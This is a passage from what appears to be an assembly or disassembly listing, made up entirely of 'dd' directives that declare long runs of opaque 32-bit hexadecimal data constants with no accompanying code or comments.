8EB34C93h, 386A1FFFh, 8471D0C5h, 5CF0A086h dd 0B8439B11h, 4CC28068h, 0E4ABBF81h, 29B13CE9h, 6FE547F8h dd 3E7C9374h, 1502E56Dh, 0C294EE6Eh, 4185772h, 0D34BEC68h dd 0E973B63Ch, 2D2088C2h, 99E95E9Ch, 0AF1DCB8Ch, 651523E2h dd 91C6B0D6h, 362092AFh, 0E343C703h, 0BFCC827h, 48D3AD0Eh dd 0AE8E60B1h, 0B78BF3D0h, 0E842EDCCh, 9AFA4299h, 0B1D4057h dd 8B2FCB2Eh, 0C5135599h, 94A5ED79h, 9D17A8FDh, 0B6B1F3E7h dd 1FC2338Fh, 0E53C6430h, 0EE18655Ch, 0C83A4044h, 28FE251Eh dd 98515B5Fh, 64B40214h, 0B7BAA475h, 0B6443196h, 0FA8CBBC2h dd 52C0C0F8h, 16C9443h, 2A8B6E9Dh, 0E7CA3E08h, 3AABB907h dd 0E79810F7h, 21EC02BFh, 0F2E13E34h, 0FD489497h, 213B5DF2h dd 6B731551h, 6EBD9DE7h, 1DB99503h, 0A064A6Bh, 0DBC76620h dd 0A530A807h, 552A701Eh, 2A53AE14h, 19BB2105h, 0F0A4D9B7h dd 0D9E921B0h, 2957C489h, 0C175B074h, 0F490DB5Eh, 45F3A07Fh dd 0BD3145E2h, 3B0D6D45h, 2F93A5F2h, 0F03C0051h, 0EF10DB52h dd 83AB2A74h, 0B1BBBC93h, 88A10A45h, 0D20CFD97h, 0AE11571Fh dd 0AF0F11FAh, 6AAB161Dh, 6235E1FEh, 68C175B0h, 0DE8FC158h dd 4342FBE7h, 0DD350DAh, 0BD687E2h, 71D14573h, 145628D4h dd 0FC63EF66h, 0BD7F0D7h, 3D0B438Ch, 0BFEB446Ah, 8DFC3922h dd 0DE51355Ch, 916BFAEDh, 0B99927Fh, 898B1BDh, 7A939053h dd 0EDCB65ACh, 0B29DB561h, 5F404C00h, 2F939333h, 2B57CA3Eh dd 7016A8B8h, 0E274275Fh, 0BD00A3C6h, 617C1557h, 0A268BB23h dd 3E6C3FA4h, 0E23C609Ch, 0CB70E44Bh, 91A13004h, 0B03673B4h dd 0A85581C3h, 55429F5Eh, 0BA97FA47h, 4693048Bh, 1A94E662h dd 2944689Bh, 4E2CD7E2h, 23E49F43h, 70A4BCCEh, 0FF52AA36h dd 5E53D1FEh, 0E73DDF2Fh, 4729BCB8h, 121C1F47h, 602E6B69h dd 0C047A6A1h, 0CB2D43BAh, 4B2A67AFh, 697F5978h, 0BB78D8B4h dd 97461BD1h, 921B5F2Bh, 30938EC0h, 0D855131Bh, 817E04EFh dd 6804FA4Dh, 0E3DAA724h, 0C9737EEBh, 4E729C13h, 31A07A97h dd 9283C6ABh, 9D63266Ch, 58C344CDh, 9112BC53h, 2520CB04h dd 5DB6D1E5h, 9804A79Dh, 693380E3h, 0E28A54FDh, 2C5C6A37h dd 574CF78Fh, 433A2C80h, 2EC1F710h, 75EF42D6h, 39B3C7B6h dd 822B6C54h, 0AF119CD0h, 0D9610344h, 0ECB3FF22h, 6D69CE74h dd 826BCCEDh, 0E433E6D8h, 308A2C2Bh, 28DF540Fh, 0C60333A9h dd 8BED5893h, 0AD38E365h, 447D7B03h, 0D055C96Bh, 0EF002B3Fh dd 85DB7FDDh, 39161A3Bh, 85539389h, 0E7B8FFA9h, 943CAB05h dd 87773768h, 0E075EF7Ch, 0FEA8EC3Bh, 0FAB910ECh, 0AB0D57CCh dd 8A868368h, 7E5C16ECh, 90107159h, 599F6358h, 7E62312Ah dd 13F5F43Bh, 60596A67h, 0B78B10Ch, 305CB89Bh, 0C5729237h dd 13FCA92Bh, 0EF36A75Eh, 323E3460h, 8E2FD0ADh, 48CC1BC4h dd 0DA316695h, 0F6FEEBC8h, 62B73874h, 0B70BB77Fh, 63C91748h dd 0A356E7Ah, 80579B99h, 14222E2Ch, 743D322Ah, 0FF185BCCh dd 2619CBFBh, 6E670F0Eh, 0ED4811C3h, 1558DE8h, 0E77F65CFh dd 98EA1D48h, 0ED5A4AFAh, 629BC583h, 478327B9h, 0C6FDD71Eh dd 23A908B5h, 2A6541F3h, 97798DFEh, 0B0D4FFA7h, 8DBA7E16h dd 67053A32h, 516E8291h, 3AC55340h, 0A08CF9D3h, 254129Dh dd 220A2127h, 580CFB8Fh, 902AAC21h, 4EC0BBC5h, 12289263h dd 5E7E44A8h, 0A2D2ADDBh, 4A0C9407h, 0F6DC091Ch, 72CBA1A1h dd 4ABDCF63h, 0A3BE5D92h, 3D92C39Eh, 0CD524889h, 51C892C1h dd 2031C07Dh, 2D666D90h, 6D078B4Eh, 0A4882012h, 7E66611Ch dd 0BF982547h, 0F1EE3E7Bh, 14D6FC01h, 6AD75310h, 0A4384780h dd 9CD11FDBh, 24A7D492h, 0CCEFD034h, 7D2A4AA6h, 2673CE5Bh dd 4DAD3F29h, 2106D170h dd 0AF81DF77h, 0B5AF3A9Bh, 6AD239A1h, 81749315h, 0FCA119EDh dd 0DD8E2BA6h, 5913168Fh, 20BDF03Eh, 0E7EBBAC9h, 65975579h dd 2CDD47C8h, 765E8824h, 0DA053CAEh, 51F95225h, 1BB72596h dd 451916B1h, 1CF37778h, 98998133h, 60C8F430h, 0B454E059h dd 0B3556E23h, 5FDAFA9Ch, 1FB04094h, 0E4A1AFACh, 33B132E0h dd 19A2EA8Bh, 89705B1Ch, 46B9D5B3h, 54B330B2h, 0CB3C00BAh dd 0EBA754B0h, 112EBCB9h, 0F3494145h, 697FC876h, 9BBC7480h dd 28DF541Ch, 0E5A24205h, 81300FFEh, 2A0FA8C3h, 37A0A5C1h dd 1FF69C8Dh, 9F666788h, 908DBD1Ah, 3ECF0A60h, 8A8BA735h dd 0AD10E7CAh, 8FAEA34Bh, 0D93CD380h, 0A43868F2h, 0E1126B1Bh dd 42FF2DF3h, 0B5CB37EAh, 4B35C480h, 0E87D11Ch, 7CADFA2Bh dd 0E7BC173h, 896CEEBCh, 3D65137Ch, 2DF822Dh, 0CC2D3BEh dd 0DD3BDA11h, 23BB348Fh, 0B5BF4351h, 419B3C82h, 0E83F6525h dd 0E6DC1FDDh, 19584CD8h, 5392BA3Ah, 0C49E10C7h, 80C6B5FDh dd 5F635A47h, 51444BB8h, 53C70360h, 6C678AEAh, 35E4C384h dd 91B91873h, 6B392753h, 1FB093B8h, 5D27AFDFh, 86A57B38h dd 0AA66A6Dh, 559AAF46h, 21338D4Ah, 0F9C64CB8h, 0FEB3E3F2h dd 2FCEC2D7h, 0B63F456Fh, 2576C68Bh, 0FA3A7CD0h, 2FB38325h dd 0EA155A79h, 90423CA3h, 0C6655127h, 8C85248Eh, 7817BA96h dd 0E73EB888h, 0A1713F2Eh, 3EB56B40h, 20E60588h, 0FE924A2Eh dd 0BD0FCE77h, 83B3F893h, 601CCBB5h, 0EED8C690h, 0E1E9A57Eh dd 0F69CBA77h, 0DEB50B1Bh, 0DF9AF7E8h, 0A3264603h, 7904B0B5h dd 44A849AAh, 6ACC4C9Fh, 751A6963h, 0A618F231h, 0E42A5C1Ch dd 0DE49CFFEh, 0FE704BCCh, 2BB185F8h, 33A347B1h, 0F0C5DE37h dd 53AE037Ah, 9E7A07D9h, 10317C9Fh, 145DF937h, 0B696A26h dd 573B1A5Bh, 6C74EC43h, 34CB23B9h, 0F566DD3Ah, 7A3B896Bh dd 0BE4CA97Dh, 56654983h, 0BBA16DD6h, 2C6C262Eh, 23CF79ECh dd 5B877609h, 3898A06Fh, 3E7D3079h, 4C880C8Fh, 9E009D19h dd 9F3071D1h, 536751EAh, 0B5FD7EA5h, 7815D813h, 0E998BF79h dd 0FBDF01F3h, 0E7EFC88Fh, 60B84DF5h, 5BB59FBAh, 0FB8496D3h dd 0E16B7C61h, 0F0FF8401h, 0B4A6A77Eh, 0CAE54204h, 36A5BA6Bh dd 46C7BF8Dh, 0D7AEBCABh, 17D6868Eh, 7982A17h, 6A96F186h dd 4E21E231h, 87BC2DCAh, 0AB9DBFB8h, 0A372523Ah, 0FD489D46h dd 0BDA4EB6Ah, 1370693Ch, 2D393989h, 0FCC6E1A1h, 1E4550DAh dd 7C432FEAh, 0EFBB537Dh, 0D39BA107h, 0FD846177h, 0BDE7E2AEh dd 0F57E5D01h, 0AB42A293h, 1E554DA6h, 0B87EDC54h, 0A9C76C1Eh dd 85536677h, 5B31EACCh, 67E1AF3Ch, 5E05B851h, 0C1914843h dd 0FDD8DD32h, 0B76384EAh, 9D291D6Ah, 55AB684Eh, 0B5116FDFh dd 0EC36394Dh, 0E340F0E1h, 0EFF5B16Eh, 91520461h, 8907AE21h dd 764B0A2Ah, 6E7E7DA5h, 0C65DCE88h, 0CB9422F2h, 8DBA3297h dd 0C8E111F2h, 0AD745B1Dh, 65FD68B7h, 0E039F59Ah, 0B0BFE6E9h dd 625EB457h, 7F43AD2h, 24643FBEh, 1EEEFCD4h, 0BD82360Ah dd 339B237Ah, 21DF974Ah, 4808A992h, 0DF05CDA9h, 92F699Bh dd 6875D5A8h, 202A3AE7h, 0D226E332h, 540487AFh, 0F9B67665h dd 0E3935B31h, 4193A511h, 0F0DE4CA5h, 44AE4E41h, 1F6E1DBCh dd 778B8A0Bh, 543973E6h, 83B3E2D1h, 72683D95h, 6A2D60F2h dd 2F527705h, 0D4E39FE2h, 5BDAD35Fh, 75869D33h, 0FC8895D8h dd 6C97C478h, 0BBCC8900h, 3D526BB6h, 26F9B6Ah, 1BE91A4Eh dd 0AB788854h, 0CF65931Bh, 8116119h, 8ED40A1h, 0CA2E4EF8h dd 7426AE20h, 0F46E6770h, 0A7CDF38h, 5A32A819h, 7D0BF3C7h dd 0A41608E8h, 0F0575390h, 17DD1711h, 7B0D12E8h, 4B824B52h dd 656748A5h, 4A6B44D9h, 7EC596FEh, 0E1430F9Dh, 0E755A8Ch dd 0DFE8F2E9h, 77A31B5Dh, 0E6D0FB5Dh, 77D56BB0h, 0AB75EF91h dd 2E6AB545h, 6FED9E34h, 94821FACh, 2E570629h, 764751D0h dd 54AD6A8Eh, 0AD195F5Bh, 9A1DB1ACh, 6DAC3C7Ch, 2395853Ch dd 0C43805B1h, 6BCBCF32h, 0F2A01DBCh, 0EC30F589h, 7D5CA7A1h dd 44C29D58h, 25D17D16h, 9D5EF5F3h, 169A9F6Eh, 0BFD3A2ABh dd 20AE030Eh, 0FFF3B42h, 0A2E86615h, 45844EB5h, 6E07C6D0h dd 495465DCh, 1D03E9C3h, 245FC6C4h, 3DA13B55h, 37DCE349h dd 0D154DF47h, 0D9B80F73h, 80CF11CDh, 125182EDh, 33D88723h dd 0FBA5F04Fh, 5D3EBFD3h, 0F3F907D7h, 188050Ah, 64C1686Dh dd 8EDB9D4Dh, 0AA662ECAh, 9EC95022h, 8BAF7DC9h, 0F01BAB04h dd 3268C22Dh, 320BDF7h, 0AFDDFD2Bh, 0AF9283F9h, 7ED63500h dd 0F2163243h, 8EB219D1h, 74640615h, 0D0E846AAh, 5C52FA12h dd 0A459AAEAh, 0F688CB71h, 0F4402C05h, 59F8FFBAh, 7F0D109Dh dd 5160FD5Dh, 527F5021h, 0AE16FCB8h, 0DB741181h, 0CBF23676h dd 0B799AC38h, 25E8A0A0h, 1EFFD4C1h, 502E95C3h, 375A5C7Eh dd 0FC51BE86h, 70BC0D36h, 0C3866346h, 40DD63FAh, 0CAD3E96h dd 50207AEEh, 2E8A314Ch, 0B280B944h, 91077B1Ah, 0D085EC0Ch dd 968F00C7h, 0E2A30178h, 1F063AAFh, 0D72D776Fh, 34B0310Bh dd 0A2EFDF4Bh, 484335CEh, 42726EF9h, 0A39BFAE1h, 0ADB7FFD3h dd 42674B8Dh, 4D1840F9h, 9C0A84F4h, 0B16DF3C3h, 4A033A88h dd 1EFF13D2h, 73D71363h, 2AB6255Ch, 0CEEC4F8Ch, 0BD53D5AAh dd 66679C77h, 11002354h, 34B71F50h, 7EBAF5F0h, 0D423B628h dd 0FC0AA98h, 0F0CE4C83h, 0BC19339Ch, 0CEC783BBh, 0A4BBABA8h dd 0F4AEC6D4h, 1C8D0CE6h, 8F4388C7h, 8545DB36h, 1B6626D1h dd 0CC9E424Ah, 55E8B959h, 0C766146Dh, 486D1521h, 5611ED7Fh dd 3398B9A2h, 9A12AED8h, 0D6CCB9BCh, 0E4AFBE6Fh, 0BC0F9273h dd 3B25E64h, 0D5D4D2CBh, 0F42E5B52h, 0C313D721h, 48E8C6C9h dd 0EBEEB05Ah, 860BB717h, 41EC655h, 40EEC175h, 0AD66D06Ch dd 5DC0BEC2h, 7BA1764Bh, 4EE23608h, 884927E1h, 0ED744B94h dd 74C3D035h, 8058097Bh, 4B5B25B5h, 0A3E89F00h, 8C393DB3h dd 98E4C58Bh, 6042E840h, 0DEAE2C00h, 475B8D21h, 863E2233h dd 181D4163h, 463C08F0h, 28460CB7h, 843DA738h, 0B3DE84D2h dd 1BE0E322h, 644A0EF5h, 89AD40E7h, 0D6F164EAh, 62A8AEC1h dd 9A2E8428h, 2B90446Dh, 567EF7F8h, 5F6AF068h, 88544285h dd 0F00389BFh, 0E3CF0CBCh, 0A7ED2834h, 7CBD688Ah, 71F9E423h dd 64CE0205h, 0E6346064h, 0A2F23854h, 0B9D1FFEAh, 1FD699A4h dd 0B210C416h, 25F8AFCFh, 6F08BA62h, 0F2D2061Dh, 66B8BC2Dh dd 59FECF92h, 0EE1E9B76h, 657D603h, 49A81CFh, 0FDBB59A4h dd 32B019C7h, 38EDE697h, 377581AAh, 18660F0h, 0AC991061h dd 7A65D3FDh, 5EA7E033h, 77CC072h, 0CE4621EBh, 30B194CCh dd 0A386751Ch, 0DEA488C4h, 212A3C31h, 307BBFE0h, 0D730DA43h dd 79C425D0h, 0C9C20FE8h, 0B506BF10h, 0B391F46h, 835693E3h dd 0A2AB48Eh, 9C0621E2h, 0C4C2F990h, 6CDB00E8h, 814CDEB2h dd 0F260BAF6h, 41A4BD9Dh, 0D5BF3334h, 3CBE05DFh, 6691E705h dd 0E914B91Dh, 84742A75h, 0D50ABD5Dh, 0C07AE65Ch, 7B2B2035h dd 4E7B0847h, 0AC788320h, 94AC7A5Ah, 8A256FC4h, 836B2DF9h dd 74F55C69h, 7EC8EE0Eh, 9C35760h, 0B7BB9AF1h, 9EA00862h dd 0A4E36279h, 7B030EA5h, 0E357F218h, 15D2D659h, 0AF201A1Ch dd 7946F462h, 0D0396515h, 567172Ah, 272B80BEh, 6F684DA8h dd 0B5A8EAACh, 0B9A6ED38h, 0B0C5B8DAh, 2119095h, 98C7EC09h dd 5DDDAF51h, 48CCBE93h dd 7FAE3177h, 90452E11h, 0EB3A9E6Fh, 6F950C41h, 0CD40F84Bh dd 30EB4C03h, 46EFEB6h, 50903DA8h, 0CDA5CAE2h, 0AB749788h dd 0F71B0E40h, 0D2BFFA4Ch, 0A71C989Bh, 80FB0980h, 4AF729CBh dd 0B78DF78Eh, 163F611Dh, 519FA337h, 2D7936B3h, 2FDC83E2h dd 0FB8EAE3Dh, 217EC449h, 0B01022A0h, 796EE1F5h, 0D335D1ACh dd 0A324F2A6h, 6ECA24B6h, 9A14BF2Bh, 0F11A7DC5h, 4B06D0B2h dd 1323F593h, 0FD48D6DFh, 0EA02DF79h, 0CAB3926Eh, 793BFC72h dd 913A458Dh, 0DC744229h, 6A75C589h, 0A658E5D5h, 0F3B5DE05h dd 10ED7B5Ah, 3EB2782h, 66F2E013h, 0A53AE0ABh, 56B3736Bh dd 0FFF13248h, 0DE061D29h, 191C765Ch, 154F9ED2h, 0C108EF8Ch dd 71754362h, 0BC7B7F2Dh, 53E6CAD0h, 1B08F0FCh, 0BED45629h dd 92140ED4h, 0DB55AA68h, 1D82B6F0h, 1229D1CCh, 0A00DD3E3h dd 2373E255h, 494567F1h, 5B8723E4h, 99E5E861h, 7296EE1Fh dd 47B3F4DFh, 768E2645h, 0B5CCFA6Ah, 6298E14Fh, 5DD0F156h dd 0AC8CA6B6h, 0C201589Ch, 0BA070021h, 0EA67C70Dh, 79B371C5h dd 8AD322A6h, 5F6C1860h, 538F049Ah, 0B49E998Ah, 6C17C89Ch dd 76A5A90h, 0B614EDE7h, 0F9753339h, 0DE486DADh, 0F6041CF3h dd 0CAE32D6Ch, 0DD2144BAh, 0D176A4Dh, 573B4DFEh, 729C22F1h dd 7F54A66Dh, 0CBE874E0h, 0EF2A6336h, 8EAC8AA1h, 48E5E921h dd 6008AAC7h, 0E4DB1F8Fh, 6B1985DCh, 0E659E5Eh, 1E624F49h dd 0E408FE61h, 0DB620B62h, 60E699ACh, 7E93B0DBh, 76CA6972h dd 889A77A3h, 0E863AF54h, 92ABD49Fh, 8856D4F5h, 2F52DFDDh dd 0D9C5056Ah, 2C6C3164h, 0D8D5EEEBh, 0F1A93153h, 0F21681D5h dd 8808C006h, 9F32D4EBh, 57826CECh, 168D9DACh, 0AFD255EEh dd 0B48FF962h, 0C7EF9F97h, 0CDFD11Eh, 67835CFBh, 0C9527C71h dd 8E2C4629h, 0F304078Eh, 24E99A84h, 0BF6F04BBh, 0E95141ECh dd 0D5A355Eh, 0BF539DD3h, 8F0C0434h, 42CDADBBh, 0F5A03FD9h dd 4C6B2CABh, 456BD05Ch, 15BEB705h, 179CD4B4h, 1934D830h dd 503620FAh, 0CB73A012h, 0FDA33AAFh, 62E07300h, 0E3272A0Eh dd 0CB33EFEAh, 70F15601h, 0C961AB5Ch, 0A635C916h, 6E9C996Bh dd 4D292B4Ah, 91369873h, 651C0B40h, 3CB3DC98h, 0D5E04DA6h dd 3C18C3E0h, 0C0ED230Ah, 1792F19Eh, 8DCAA68Ah, 0B6F0F86Eh dd 9E70F345h, 0DBA978D3h, 2ADB6CBh, 582AC9BDh, 7631F572h dd 0F4223806h, 0BEC42F10h, 0CF9AA959h, 9B042380h, 0A10C107Bh dd 0E19908A9h, 8A73DDDh, 1080631Bh, 88CFA09Dh, 0E811C229h dd 51C746D0h, 1BB7BC73h, 20E40BBh, 0BF784268h, 0C540D456h dd 792F13DBh, 0F163AB5Dh, 336342F1h, 684ED4C3h, 30A25F02h dd 2250C825h, 9B7FE58Fh, 0C5B8459Eh, 0E3F674D9h, 0BFCB8AE9h dd 8A5C1356h, 33390862h, 0C0AAE8FEh, 0B6707874h, 493E240Eh dd 7F3B905Fh, 591FB759h, 0B5B995F0h, 0F5271DD4h, 31ADACAAh dd 0FFF14D32h, 0F3B3903Ch, 0D37EE22Ch, 0C2477CC1h, 0F9B0AAC9h dd 0C1AF4E1Bh, 8EC8C714h, 87BB3381h, 137912D0h, 0D300E1A3h dd 7556235Fh, 0CDBF1E40h, 0CF347697h, 0FDD2925Dh, 9CF86D47h dd 0BA59518Dh, 786B802h, 62A5E6E2h, 201E36Dh, 0FEA7BD99h dd 0CD6EDEA1h, 195E9693h, 0D9A5BF52h, 0A3761E47h, 5E2164D6h dd 1C141568h, 8D240C3Dh, 0DA5854C9h, 958BC82Eh, 0E3CD00A9h dd 3A1FE4ECh, 7A5BFD16h, 0DA616B57h, 0C30CAFC3h, 83F532E4h dd 0F98D1ABDh, 0F84447B4h, 0DD13E6ADh, 7C9A608Eh, 0FFD6B7CAh dd 6748F6B0h, 70BCFD95h, 0B886698Ch, 5E087AA0h, 410124B2h dd 0E0BF59F6h, 6BBA48C7h, 840CB27h, 784495C7h, 2545F8A0h dd 0BC9208CEh, 0D727A5A0h, 798913A1h, 26B7A7D6h, 0F034AF0Fh dd 3022BB3h, 22D2417h, 58FF26BFh, 0B09A1023h, 8BA5B6C6h dd 97E93BCFh, 2F233993h, 0D887A9E7h, 6517BD57h, 0FC9E4912h dd 6E5432h, 7BEECF6Bh, 22302260h, 1F6726E4h, 639B0E0Bh dd 0E3357CFFh, 3D033688h, 6DE13232h, 0DD0A96FDh, 871FE2E5h dd 420F98AEh, 38526381h, 5D3C7CF6h, 627A11A2h, 0BD6246A9h dd 0A41E35D6h, 9BC975A2h, 699E0669h, 9140620h, 0B8C08B20h dd 0AA5AE08Eh, 6C5E1247h, 0C30ECA0Bh, 0BF817E49h, 71B16057h dd 98F3A0C9h, 818A0E85h, 0B4AF4EC1h, 35D355A2h, 0EDF08620h dd 65C640FEh, 5FFDA525h, 197F321Dh, 3502766Ah, 794388BFh dd 63512290h, 0DA089FB6h, 0F8308CB2h, 88937C4Bh, 32458876h dd 0F580AC2Ah, 2945BCC2h, 2F6D857Ah, 78CDC78Bh, 71B4C76h dd 1F185D5Fh, 5CB608C3h, 1C95AD61h, 0B706C4BEh, 5DB6621h dd 0D67719E1h, 6C1F5BBDh, 598B785Eh, 0E5F009FBh, 0F7876809h dd 553FBF30h, 37FBACF8h, 30B0FC2Ah, 90B3C1FAh, 5046F435h dd 0C005324h, 6131D66Dh, 192FB765h, 44D18FBEh, 0ABA78E1Fh dd 2C9F8709h, 493EE4F0h, 0ED72D628h, 0DBA04A93h, 1C17D23h dd 0C5497C18h, 850EA69Ch, 91991CF7h, 0BE6FD5Fh, 11DBBC67h dd 0B98A66Bh, 0BEE1100Ch, 6E93E585h, 0F87D1B65h, 0A5CDC26h dd 6E072EB7h, 9F2EF8Fh, 1E999EE7h, 0E2FAF502h, 0F7B5DBD4h dd 1CE5DE6h, 0A83B15Bh, 0F091DCAAh, 6B8D0291h, 8FFD3745h dd 7CBF00F7h, 5F79937Eh, 0AA75E43h, 0DE1277A9h, 0D7C7E0F4h dd 46284B80h, 0FBCC3121h, 0C1D5D018h, 68F624F2h, 22980564h dd 2EFC6FA9h, 0C63D52C2h, 21581193h, 83F69D9Bh, 3EFAF2F9h dd 0B857285Dh, 0E1EB5904h, 87E8C0B6h, 0EBFEAEFAh, 0E2D6D022h dd 948D247Ah, 200FF424h, 4FA9EC5Ch, 70A7AFB4h, 5C159D6Dh dd 0A7E5FC21h, 1AD6C6D5h, 3800410Ah, 0DDE8D7BEh, 0A3E018A0h dd 0CD32F482h, 246EA4F1h, 6DBC7AC5h, 0ED97E764h, 0C89F912Ch dd 3491D044h, 909D3072h, 0AA3FA0BCh, 0DEB5D206h, 825DD6EAh dd 7478B9EAh, 57578E1Eh, 0A0D4E678h, 0C9C445E8h, 96A56142h dd 0F0E881E2h, 0ED88325Bh, 73D822Bh, 7D51DDD3h, 862359B4h dd 0B323014Ah, 2C10D190h, 509D4379h, 0DC217949h, 0BA7491CCh dd 0D7D3831Eh, 0CEC193D3h, 628AB4F6h, 3EA7F43h, 41DD37D4h dd 23B82506h, 3FD959C7h, 7BDAEC67h, 0E35FBF3h, 0BA418A1h dd 0B702B167h, 46DD0FE2h, 0C04B949Ah, 869A7F03h, 218482C9h dd 3122792Ah, 7D95281Eh, 50E19AE6h, 0CAB1147Bh, 0BD1F72h dd 0EFAB9B5Dh, 78C92784h, 0CAF8E32Eh, 0C51279CFh, 2F7CA725h dd 0A1682D83h, 30FEBF0Fh, 8CFCBE6Bh, 0B8D3CBBDh, 6501B6CCh dd 0AEB2C770h, 0D4D952FBh, 0A31C80C8h, 472052A4h, 6558D0DDh dd 0DB499880h, 90738350h, 9B430BCEh, 22ED0DEEh, 71BA7F6Ch dd 0FBE27396h, 979BB623h, 6825A124h, 3D15F3EFh, 749259EBh dd 0F7A1B5F5h, 1CE1DE86h, 74C985C3h, 58C5F1B9h, 5877121Eh dd 0A910601Bh, 213602BBh, 6FB1EB04h, 1D7B0B67h, 0E17D0F36h dd 7FF4FB6Bh, 2A85402h, 0B824AAD3h, 5E759BC2h, 868D1537h dd 0B48F3444h, 0E1EB3DF2h, 85FD24ABh, 0E63D0520h, 775958E6h dd 855C0A1Bh, 0FADDFE9Eh, 0E9BBC32Bh, 0A069CA38h, 6EA51C34h dd 0DE9DF7CEh, 645D9264h, 55E9A602h, 8A908739h, 91AEC84Dh dd 0DDDA1B6h, 0A075EC72h, 0BEA52032h, 262FB59Dh, 8039CB9Ah dd 2EA90766h, 33D4C629h, 14CE3745h, 0DAD6CD31h, 64441C61h dd 6C1BE01Eh, 643A9CFCh, 7A4F36FBh, 5550F461h, 0B87F9500h dd 4AF5235Dh, 45A88AE3h, 0C1279768h, 0C02485E9h, 7A0646D4h dd 4A5D469h, 21045CB1h, 448B8F07h, 0D73EC1EFh, 0E170E135h dd 9AF581E7h, 0C9EC686Ah dd 0B2CA7D3Eh, 5F8EC23Fh, 85DE487h, 0C23FFD17h, 6E9EAF26h dd 6F796593h, 0BB111BB0h, 0FBD93054h, 722F6C46h, 0C3850C4Bh dd 4F353F9Bh, 0B62A0B06h, 2507B6ACh, 0FA1280Dh, 0F779BA7Dh dd 0A5099DC9h, 33C3D15Eh, 0F5DC1383h, 0EACA438Eh, 309E9108h dd 26D8CDE6h, 778DB204h, 62024387h, 5707BA12h, 9FD5A2h dd 0C6F48197h, 0AE17005h, 0FBEC2C30h, 0EDC3F225h, 0EF7447BFh dd 4CE87DF7h, 8838A640h, 68D3EE0Ch, 0A0FC813Bh, 360AB093h dd 56320B3h, 0F0BC0051h, 8CAF95C2h, 0EBF2E8C6h, 3DA46DDFh dd 0C7E37F72h, 0DA840F0Dh, 981F2896h, 323A0127h, 2801FD70h dd 0B52FA56Dh, 0EEA8493Fh, 9F89F464h, 0F2770E73h, 0F072B79h dd 0D4A58F94h, 0E3D7A58Eh, 8A98E0B3h, 0AEFBCA4Ah, 0C20D8CB7h dd 0A4832D42h, 8511E14Ch, 97920DCFh, 58A1A8AAh, 2E172218h dd 3D3699C5h, 878F5FA1h, 0BE5CFA68h, 0FDAC1683h, 0F571C810h dd 6C80F186h, 7D773784h, 7ED0FC18h, 5EF9D22Ch, 9EA25D82h dd 91311EDh, 2DA9F3D6h, 0B595B676h, 4AF10700h, 0CBB34B2Eh dd 0C4743754h, 38A4BCE8h, 24211382h, 99B49249h, 0F934E076h dd 1839D89Dh, 0D057914h, 9EA5643Dh, 33CAF801h, 6791A19Eh dd 1E6814ABh, 288ED897h, 319310F6h, 54DE7C9Bh, 43C7D19Bh dd 0D9C580E3h, 846E4B5h, 7CA75C6Ch, 576B6CBAh, 0DBCAB211h dd 28F6230Dh, 811D569Ah, 7DFCA686h, 0D792C9B1h, 8D5668FFh dd 0B2742430h, 79D8C734h, 7E6B7DD9h, 0E403167Eh, 620E64E8h dd 18BA4240h, 4616EE7Bh, 0F240B607h, 0D0E49EA2h, 0EDE55E27h dd 0F4B509F0h, 30D60378h, 8E96113Eh, 5EA79263h, 47900EEBh dd 0DE54F259h, 0CC26697Bh, 712092A0h, 1AB3FAFEh, 0F9AA226Dh dd 0B92123E8h, 37E83A8Ah, 0F9EAFBBh, 337C357Ah, 4DFACF96h dd 923361E7h, 6503E56Ch, 37744198h, 2C3C0EE7h, 5090E13Bh dd 19177404h, 2EFE0FA4h, 2B845BC1h, 67D09AD8h, 0F68B4652h dd 11AF886Ch, 82DF4805h, 82E3AB4Ch, 6EAD7FECh, 8DB7174Eh dd 34DAF3B0h, 1FB3F22h, 0B8C18C09h, 16A3C0D8h, 689502D3h dd 0D43C4AD1h, 0CA1CA6E2h, 10037772h, 0A30F644Dh, 0D6480A24h dd 1915B614h, 0CF95FFEBh, 2C9B4BB4h, 49DE7663h, 0A6E9D283h dd 0E7875F0Ah, 623747BBh, 5E97F57Fh, 147C80EBh, 31E47495h dd 0BA642C1Eh, 81A770Bh, 0D4561BACh, 0FE5A9804h, 1BFDCA0h dd 4F2330E7h, 0D80E3D01h, 0F904409Bh, 0D91BEFF7h, 326668CEh dd 11C82C66h, 722344F5h, 17DA64C6h, 0D73BD217h, 0AA6CAF79h dd 56B8B41h, 0D563620Fh, 5F18C847h, 0F9A3C520h, 0B9D1961Ah dd 302ED57Fh, 0BCA1DEE7h, 33F35E50h, 0C4EC194Bh, 723B5F99h dd 0D235B4B3h, 9E410AFBh, 77A840F1h, 8354E7D3h, 0A1B74FBh dd 46402E22h, 0F36FE544h, 1AEF6611h, 452CF8D9h, 2A5DCB10h dd 1EC60472h, 3BE7546Dh, 0CA88083Ch, 0D2A69A88h, 78B052E4h dd 22B48FC2h, 1B2B9780h, 25C8BA19h, 0D12C6BCAh, 2C529621h dd 11EE3205h, 11B5E602h, 287CBFA6h, 0CCFFB108h, 3CB8B41Dh dd 3E98D6A6h, 0FC0988BFh, 8A449DBCh, 0C0EEE1DEh, 9639BBADh dd 8BAFE6CCh, 3F4010E3h, 0F522939Eh, 3E2B8611h, 3024C12Ch dd 0CA88C9ABh, 0AA6F3C3Ah, 179835ADh, 0F9B9563Ch, 988504E0h dd 0A8E6ECC5h, 9D87D918h, 96FF3FF9h, 7FE9FD61h, 99C958BBh dd 43B678AAh, 0B2BEAB4Ah, 931915A9h, 0FA2B1ECDh, 3C16377h dd 149FFAFAh, 1527CA61h, 156C33D4h, 2B2D2909h, 0DBD51CAEh dd 0C42AFAA2h, 0DA3C2D5Dh, 99E2B567h, 11898308h, 8376FCDEh dd 645D1DD9h, 9A1915B8h, 0F6B81A9Fh, 2164B37h, 972D2A78h dd 0BDAC0B4Ah, 7126AEDBh, 8F2D81B2h, 2297B3EEh, 89CBA144h dd 3895C5CCh, 864C7CF2h, 27F1169Ch, 0D48F7E00h, 0A7879CDEh dd 0F66102F2h, 5F7C30FEh, 0D8542115h, 5C17AF80h, 0A767284Dh dd 6DCC1D02h, 0D617BB15h, 0B39AC13Eh, 8476CD14h, 0E4652339h dd 0F190C37Ah, 53DC5531h, 6DA95AC3h, 0CB9AE515h, 1B7FEBF3h dd 69B680ACh, 0FADC0436h, 3A1BDBD8h, 0C00E14CBh, 172EB55h dd 0E41BED95h, 21FDA493h, 766C7AB2h, 0E7806894h, 0DEE5995Ah dd 57AD9707h, 987EC86Dh, 0BA6821FDh, 830D96DCh, 0C856EECAh dd 3C42124Ah, 0EF41DB09h, 1E2506F2h, 4736813Ch, 0F476C4B1h dd 0F2F66CC7h, 708F76D1h, 2EF95CA1h, 4ED09223h, 